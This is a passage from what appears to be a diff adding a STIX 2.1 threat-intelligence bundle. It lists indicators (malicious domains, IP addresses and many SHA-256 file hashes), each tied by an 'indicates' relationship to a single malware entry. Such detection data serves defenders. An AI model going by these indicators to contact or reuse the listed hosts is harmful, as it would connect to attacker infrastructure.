"relationship_type": "indicates", + "source_ref": "indicator--74d1478a-2aa5-4650-a11c-67e221be2ae7", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--15bdb34e-fa63-492e-a15d-818d2b2bf556", + "created": "2023-08-17T12:26:05.61693Z", + "modified": "2023-08-17T12:26:05.61693Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='huaxin-bantian.duckdns.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.61693Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b9d42a9-dac1-4e9c-a5b1-d8c2bcff948a", + "created": "2023-08-17T12:26:05.618746Z", + "modified": "2023-08-17T12:26:05.618746Z", + "relationship_type": "indicates", + "source_ref": "indicator--15bdb34e-fa63-492e-a15d-818d2b2bf556", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1d602a7e-371c-4454-af13-0477e3ff719d", + "created": "2023-08-17T12:26:05.619036Z", + "modified": "2023-08-17T12:26:05.619036Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='www.andropwn.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.619036Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--501cbab6-060f-44e1-ad6e-bf68dae0421f", + "created": "2023-08-17T12:26:05.62073Z", + "modified": "2023-08-17T12:26:05.62073Z", + "relationship_type": "indicates", + "source_ref": "indicator--1d602a7e-371c-4454-af13-0477e3ff719d", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b93c662a-e700-4b34-b4bf-4cec0e11c48e", + "created": "2023-08-17T12:26:05.621008Z", + "modified": "2023-08-17T12:26:05.621008Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smiss.imwork.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.621008Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fdffd45c-b63f-4449-80bf-9d78f31dd177", + "created": "2023-08-17T12:26:05.622044Z", + "modified": "2023-08-17T12:26:05.622044Z", + "relationship_type": "indicates", + "source_ref": "indicator--b93c662a-e700-4b34-b4bf-4cec0e11c48e", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a98278e1-01bc-44d4-b463-464f550d9b40", + "created": "2023-08-17T12:26:05.622305Z", + "modified": "2023-08-17T12:26:05.622305Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='121.201.109.98']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.622305Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ed318c0-4d72-4fb5-b8a5-adf2654d39ff", + "created": "2023-08-17T12:26:05.624274Z", + "modified": "2023-08-17T12:26:05.624274Z", + "relationship_type": "indicates", + "source_ref": "indicator--a98278e1-01bc-44d4-b463-464f550d9b40", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--59dbdc0c-9857-40dc-a4c6-c38227c9bdac", + "created": "2023-08-17T12:26:05.624663Z", + "modified": "2023-08-17T12:26:05.624663Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='103.43.17.99']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.624663Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85f358ad-de57-4f26-9f27-d6a1f0b0a8a1", + "created": "2023-08-17T12:26:05.626181Z", + "modified": "2023-08-17T12:26:05.626181Z", + "relationship_type": "indicates", + "source_ref": "indicator--59dbdc0c-9857-40dc-a4c6-c38227c9bdac", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e6d2da32-23c4-42b6-acb2-f9375f2aef71", + "created": "2023-08-17T12:26:05.626456Z", + "modified": "2023-08-17T12:26:05.626456Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='121.42.149.52']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.626456Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eabd79ac-d165-49bd-9586-d23445119f00", + "created": "2023-08-17T12:26:05.627681Z", + "modified": "2023-08-17T12:26:05.627681Z", + "relationship_type": "indicates", + "source_ref": "indicator--e6d2da32-23c4-42b6-acb2-f9375f2aef71", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--85e733c6-9e99-49c2-b7e4-8840c827ba41", + "created": "2023-08-17T12:26:05.627942Z", + "modified": "2023-08-17T12:26:05.627942Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='116.205.4.18']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.627942Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0deb807e-4471-41ed-8e01-35240c8546d8", + "created": "2023-08-17T12:26:05.628942Z", + "modified": "2023-08-17T12:26:05.628942Z", + "relationship_type": "indicates", + "source_ref": "indicator--85e733c6-9e99-49c2-b7e4-8840c827ba41", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--622f1630-fa57-4e4d-93c5-0cc972ede655", + "created": "2023-08-17T12:26:05.629202Z", + "modified": "2023-08-17T12:26:05.629202Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[ipv4-addr:value='118.193.39.165']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.629202Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a6fa322a-5b3f-4034-b476-78804d9e4a35", + "created": "2023-08-17T12:26:05.630321Z", + "modified": "2023-08-17T12:26:05.630321Z", + "relationship_type": "indicates", + "source_ref": "indicator--622f1630-fa57-4e4d-93c5-0cc972ede655", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--50f69bd2-821f-47d8-b7ce-5fd3c5ca9d77", + "created": "2023-08-17T12:26:05.630632Z", + "modified": "2023-08-17T12:26:05.630632Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='8c01132a0c1c7799e44608247f93d4680935f36df3fc94d59c7da83afe375ff2']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.630632Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--56db8a3b-f320-476b-ba91-2cf77ec27612", + "created": "2023-08-17T12:26:05.63736Z", + "modified": "2023-08-17T12:26:05.63736Z", + "relationship_type": "indicates", + "source_ref": "indicator--50f69bd2-821f-47d8-b7ce-5fd3c5ca9d77", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0f89cb77-014b-408a-bfd1-1fe11b63dd59", + "created": "2023-08-17T12:26:05.637734Z", + "modified": "2023-08-17T12:26:05.637734Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='b29cddc09cf65b4cda6b3898257f978265478af3ed3217c1be2c3fb729233739']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.637734Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9cc49ad6-6de7-4ee4-802a-a631e4e6e906", + "created": "2023-08-17T12:26:05.639007Z", + "modified": "2023-08-17T12:26:05.639007Z", + "relationship_type": "indicates", + "source_ref": "indicator--0f89cb77-014b-408a-bfd1-1fe11b63dd59", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6d048683-c58a-4dcd-8374-bb54c8c6756c", + "created": "2023-08-17T12:26:05.639269Z", + "modified": "2023-08-17T12:26:05.639269Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='9bcaf637cfeab36e5f4301d4f018f7e6b8e9e30db108e7b7668bdb2250110407']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.639269Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed7f42f8-4c87-4f0f-8b71-685cd7d75d02", + "created": "2023-08-17T12:26:05.640628Z", + "modified": "2023-08-17T12:26:05.640628Z", + "relationship_type": "indicates", + "source_ref": "indicator--6d048683-c58a-4dcd-8374-bb54c8c6756c", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4e3b3abf-1b65-4eee-a2dc-1939456c119b", + "created": "2023-08-17T12:26:05.640893Z", + "modified": "2023-08-17T12:26:05.640893Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='43193e32872c589785ae720da875e5e20099a5fa36c8aee838034c91986ed34c']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.640893Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34398b3c-5427-434d-85d4-323ef7e0068d", + "created": "2023-08-17T12:26:05.642122Z", + "modified": "2023-08-17T12:26:05.642122Z", + "relationship_type": "indicates", + "source_ref": "indicator--4e3b3abf-1b65-4eee-a2dc-1939456c119b", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0111c9b3-057a-4f7d-b961-aff8deeaf9e7", + "created": "2023-08-17T12:26:05.642392Z", + "modified": "2023-08-17T12:26:05.642392Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='38e18d79b83e7c0afbe1ac246a7a5fe6b2783adc085e9aeb2ec610e76f5ccaad']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.642392Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e0e90a59-4ee2-438c-903e-8f99219c3e05", + "created": "2023-08-17T12:26:05.644001Z", + "modified": "2023-08-17T12:26:05.644001Z", + "relationship_type": "indicates", + "source_ref": "indicator--0111c9b3-057a-4f7d-b961-aff8deeaf9e7", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0605398f-fee9-408d-9057-d155c7cc1ef2", + "created": "2023-08-17T12:26:05.644266Z", + "modified": "2023-08-17T12:26:05.644266Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='0bdefeee83c758c45a54b20674208e1fa26a2d47c862abdffd2c39a345379e0a']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.644266Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3b147b8c-8ff2-4bd2-907d-bbb587e16e55", + "created": "2023-08-17T12:26:05.645503Z", + "modified": "2023-08-17T12:26:05.645503Z", + "relationship_type": "indicates", + "source_ref": "indicator--0605398f-fee9-408d-9057-d155c7cc1ef2", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--bf7cd1e7-ad7d-4321-97dd-525827d0db67", + "created": "2023-08-17T12:26:05.645787Z", + "modified": "2023-08-17T12:26:05.645787Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='4fd5f3c3e4bc4c354d0e4de0bebfdb85e1bab5e5f1ea24ce18b947377a7e2423']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.645787Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--82692be8-cdfc-4ed3-a04e-de8069771dc3", + "created": "2023-08-17T12:26:05.647116Z", + "modified": "2023-08-17T12:26:05.647116Z", + "relationship_type": "indicates", + "source_ref": "indicator--bf7cd1e7-ad7d-4321-97dd-525827d0db67", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--380442f7-a027-4717-b7d3-87d87d36918a", + "created": "2023-08-17T12:26:05.647481Z", + "modified": "2023-08-17T12:26:05.647481Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='79a316353747d11ca0ac00e6cbe1e1ce80061d067d9ff3274be33c40d12ca5de']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.647481Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--13563df1-92ed-4790-966b-45a258bd21d0", + "created": "2023-08-17T12:26:05.648879Z", + "modified": "2023-08-17T12:26:05.648879Z", + "relationship_type": "indicates", + "source_ref": "indicator--380442f7-a027-4717-b7d3-87d87d36918a", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fdc4d0a0-60ff-4324-b92f-8557804c859b", + "created": "2023-08-17T12:26:05.649141Z", + "modified": "2023-08-17T12:26:05.649141Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='c45a82123c985f2fd18e6763b76443ba6c49d12df3d7fe445a19c8fcdc6de846']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.649141Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5affb41d-ae7c-4c5d-a5a6-f39327091088", + "created": "2023-08-17T12:26:05.650373Z", + "modified": "2023-08-17T12:26:05.650373Z", + "relationship_type": "indicates", + "source_ref": "indicator--fdc4d0a0-60ff-4324-b92f-8557804c859b", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f3c8fbce-7897-4662-8bf8-4dea547f09fc", + "created": "2023-08-17T12:26:05.650801Z", + "modified": "2023-08-17T12:26:05.650801Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='ee90d36b384d92a0c9609eab0a3fe0f2af245c281473b4ff0cdd8caeed34fe97']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.650801Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--019c8a52-5793-48f0-a2af-106535f40651", + "created": "2023-08-17T12:26:05.652025Z", + "modified": "2023-08-17T12:26:05.652025Z", + "relationship_type": "indicates", + "source_ref": "indicator--f3c8fbce-7897-4662-8bf8-4dea547f09fc", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--83c0bc91-9e3f-4841-b477-e2fb9b4c293f", + "created": "2023-08-17T12:26:05.652298Z", + "modified": "2023-08-17T12:26:05.652298Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='af139a04f314ccfb31a1d48ae9a434f26cb5fe1ca173acc479e7dc95a1f90260']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.652298Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1edb73c3-170a-47ed-9dd6-870e1c9711d8", + "created": "2023-08-17T12:26:05.653547Z", + "modified": "2023-08-17T12:26:05.653547Z", + "relationship_type": "indicates", + "source_ref": "indicator--83c0bc91-9e3f-4841-b477-e2fb9b4c293f", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b9409438-09cb-402b-a261-07d28e365bf3", + "created": "2023-08-17T12:26:05.653838Z", + "modified": "2023-08-17T12:26:05.653838Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='68494cde4ee344cba80e8651c579418f2ce534018d88745797f030a3115ed19b']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.653838Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e519d84e-d515-4172-bc63-c74cc51608eb", + "created": "2023-08-17T12:26:05.655096Z", + "modified": "2023-08-17T12:26:05.655096Z", + "relationship_type": "indicates", + "source_ref": "indicator--b9409438-09cb-402b-a261-07d28e365bf3", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--425494e9-557e-4080-b565-0c597fa1958a", + "created": "2023-08-17T12:26:05.655358Z", + "modified": "2023-08-17T12:26:05.655358Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='1d76df42d77080a96f885ed31ab8a83f4f985e071e715fd54297dab398c4be6b']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.655358Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8dc9568e-2275-407e-abcd-f5efe4df5002", + "created": "2023-08-17T12:26:05.661926Z", + "modified": "2023-08-17T12:26:05.661926Z", + "relationship_type": "indicates", + "source_ref": "indicator--425494e9-557e-4080-b565-0c597fa1958a", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--28e625c4-709c-456e-af24-f1e7bbfa796b", + "created": "2023-08-17T12:26:05.662383Z", + "modified": "2023-08-17T12:26:05.662383Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='6fc9a0881719ddfd1973f7ce62fa000279fda2ab5a03a4676e15c5e838b8c7ff']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.662383Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d9f717d-401d-43d8-8847-18008513f8aa", + "created": "2023-08-17T12:26:05.664158Z", + "modified": "2023-08-17T12:26:05.664158Z", + "relationship_type": "indicates", + "source_ref": "indicator--28e625c4-709c-456e-af24-f1e7bbfa796b", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--906f2d22-fd31-4311-82d4-01ad24f7e4b4", + "created": "2023-08-17T12:26:05.664426Z", + "modified": "2023-08-17T12:26:05.664426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='9ba0078a12f7cd515303aefdb151d65a2d3cb1188242e72e3bd9e629dc246582']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.664426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--cd232fb2-1bd1-4537-98bf-6ac5349b66aa", + "created": "2023-08-17T12:26:05.66628Z", + "modified": "2023-08-17T12:26:05.66628Z", + "relationship_type": "indicates", + "source_ref": "indicator--906f2d22-fd31-4311-82d4-01ad24f7e4b4", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--30f5a1e0-237b-4f53-9d25-cc655885af41", + "created": "2023-08-17T12:26:05.666586Z", + "modified": "2023-08-17T12:26:05.666586Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='6b9a540801613a2abd15b5994def2ac4904a896e14e1ab364b032de5b3d1e098']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.666586Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d2804f2a-a10a-4adb-8e14-15641fd3d2fa", + "created": "2023-08-17T12:26:05.667738Z", + "modified": "2023-08-17T12:26:05.667738Z", + "relationship_type": "indicates", + "source_ref": "indicator--30f5a1e0-237b-4f53-9d25-cc655885af41", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8bae358d-d623-4baf-9f39-ae87464b114e", + "created": "2023-08-17T12:26:05.66801Z", + "modified": "2023-08-17T12:26:05.66801Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='77504bf799b9a35d493b2363e7665b3dc3b9db32f337f03db1aabe4b3c5a5e05']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.66801Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--21fd2c64-d1ac-4e2b-8af9-ab23b475ef22", + "created": "2023-08-17T12:26:05.669457Z", + "modified": "2023-08-17T12:26:05.669457Z", + "relationship_type": "indicates", + "source_ref": "indicator--8bae358d-d623-4baf-9f39-ae87464b114e", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05381f6a-a607-4120-adca-904ba41a0d09", + "created": "2023-08-17T12:26:05.669778Z", + "modified": "2023-08-17T12:26:05.669778Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='fa4a0aaa6b8f25e8f177ce2e3202c933c2358d4a45d94427dd54df83778a4225']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.669778Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--534592b5-a548-45b8-abfe-c901c70394c3", + "created": "2023-08-17T12:26:05.671041Z", + "modified": "2023-08-17T12:26:05.671041Z", + "relationship_type": "indicates", + "source_ref": "indicator--05381f6a-a607-4120-adca-904ba41a0d09", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--87fa2f42-3ede-4280-bcc8-4117ae5c1493", + "created": "2023-08-17T12:26:05.671306Z", + "modified": "2023-08-17T12:26:05.671306Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='48cd527254084d5e80cd86155a9a23702bdbd586752d27c6e3b6260fa8a86eb4']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.671306Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9733e137-ffc6-43ba-8f0a-b41c3bd26ac3", + "created": "2023-08-17T12:26:05.672416Z", + "modified": "2023-08-17T12:26:05.672416Z", + "relationship_type": "indicates", + "source_ref": "indicator--87fa2f42-3ede-4280-bcc8-4117ae5c1493", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--268bab34-65ee-48ea-bc18-2d65f5ae1f5f", + "created": "2023-08-17T12:26:05.672707Z", + "modified": "2023-08-17T12:26:05.672707Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='8d7fd7dcf5f0e144f3e3cc96ebf3ab8789d0d8edaeefa65e0f03dac67c1f046f']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.672707Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a14bf6e0-d768-4fc6-ba6e-ff95a974e385", + "created": "2023-08-17T12:26:05.674078Z", + "modified": "2023-08-17T12:26:05.674078Z", + "relationship_type": "indicates", + "source_ref": "indicator--268bab34-65ee-48ea-bc18-2d65f5ae1f5f", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a324ecd1-24dd-43cd-bc9a-adf903fd74ff", + "created": "2023-08-17T12:26:05.674341Z", + "modified": "2023-08-17T12:26:05.674341Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='7a618ac4a0fb2b68df540554ee99aa48caa148b3dd2800777a084a7322efe22f']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.674341Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--52b4abf4-1644-4c1b-acd3-1d6a9bba7d0d", + "created": "2023-08-17T12:26:05.67573Z", + "modified": "2023-08-17T12:26:05.67573Z", + "relationship_type": "indicates", + "source_ref": "indicator--a324ecd1-24dd-43cd-bc9a-adf903fd74ff", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--13f67e26-f267-4694-893f-00521888f9da", + "created": "2023-08-17T12:26:05.675994Z", + "modified": "2023-08-17T12:26:05.675994Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='017f30bf39d897d1b52c6d035dde5d2578d18d774b39fe76daf67f53d9a08ce9']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.675994Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--fea87011-6228-476b-846d-252e766aa220", + "created": "2023-08-17T12:26:05.67734Z", + "modified": "2023-08-17T12:26:05.67734Z", + "relationship_type": "indicates", + "source_ref": "indicator--13f67e26-f267-4694-893f-00521888f9da", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b50e237a-7aed-43c8-8ae2-fe04609c02cc", + "created": "2023-08-17T12:26:05.677631Z", + "modified": "2023-08-17T12:26:05.677631Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='6caf068e1c0be245083aa6c3b92bd34909cb57d3d989cf509db18a8be4045fc5']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.677631Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--093260f7-d775-48c6-b1be-6dbaa5642080", + "created": "2023-08-17T12:26:05.678744Z", + "modified": "2023-08-17T12:26:05.678744Z", + "relationship_type": "indicates", + "source_ref": "indicator--b50e237a-7aed-43c8-8ae2-fe04609c02cc", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--dfd1c3fd-09d5-4497-8416-6a7c28361cb7", + "created": "2023-08-17T12:26:05.679002Z", + "modified": "2023-08-17T12:26:05.679002Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='8bf60e625d628e39320015de654933947b56621d8a4538f9be55c27ffc29a99c']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.679002Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c86b175f-59f1-427a-9f4e-3133315380bd", + "created": "2023-08-17T12:26:05.680119Z", + "modified": "2023-08-17T12:26:05.680119Z", + "relationship_type": "indicates", + "source_ref": "indicator--dfd1c3fd-09d5-4497-8416-6a7c28361cb7", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9aa9f915-d72d-43dc-bdb9-d2c8395bbef3", + "created": "2023-08-17T12:26:05.680376Z", + "modified": "2023-08-17T12:26:05.680376Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='4355b4eb3d73b96577194cbd0ff319e0f4ff02d0cabdde8b15e1abd1840e6481']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.680376Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d06a297d-dcb4-46ec-a815-c508a11eaf12", + "created": "2023-08-17T12:26:05.681805Z", + "modified": "2023-08-17T12:26:05.681805Z", + "relationship_type": "indicates", + "source_ref": "indicator--9aa9f915-d72d-43dc-bdb9-d2c8395bbef3", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--85cadb7a-759b-4e86-96c7-98d1e32fc82c", + "created": "2023-08-17T12:26:05.68208Z", + "modified": "2023-08-17T12:26:05.68208Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='79028b82a4715160db89bb6ea7d7e2961e0f0e084b8abc21bb4d677ec4cc8d5a']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.68208Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3c52a15d-d505-4d6c-878e-be357d59a555", + "created": "2023-08-17T12:26:05.683598Z", + "modified": "2023-08-17T12:26:05.683598Z", + "relationship_type": "indicates", + "source_ref": "indicator--85cadb7a-759b-4e86-96c7-98d1e32fc82c", + "target_ref": "malware--bc220937-1716-44cb-a218-067852839524" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--476261f6-fb33-443e-b8ec-426e964525f4", + "created": "2023-08-17T12:26:05.68388Z", + "modified": "2023-08-17T12:26:05.68388Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[file:hashes.sha256='b66847d571e471ac78ffa11a82dded5ac6d2f52b25304adbfab90716d22c0905']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-08-17T12:26:05.68388Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2b5716d2-7746-4303-b2dd-0f1c591b4b6c", + "created": "2023-08-17T12:26:05.685125Z", + "modified": 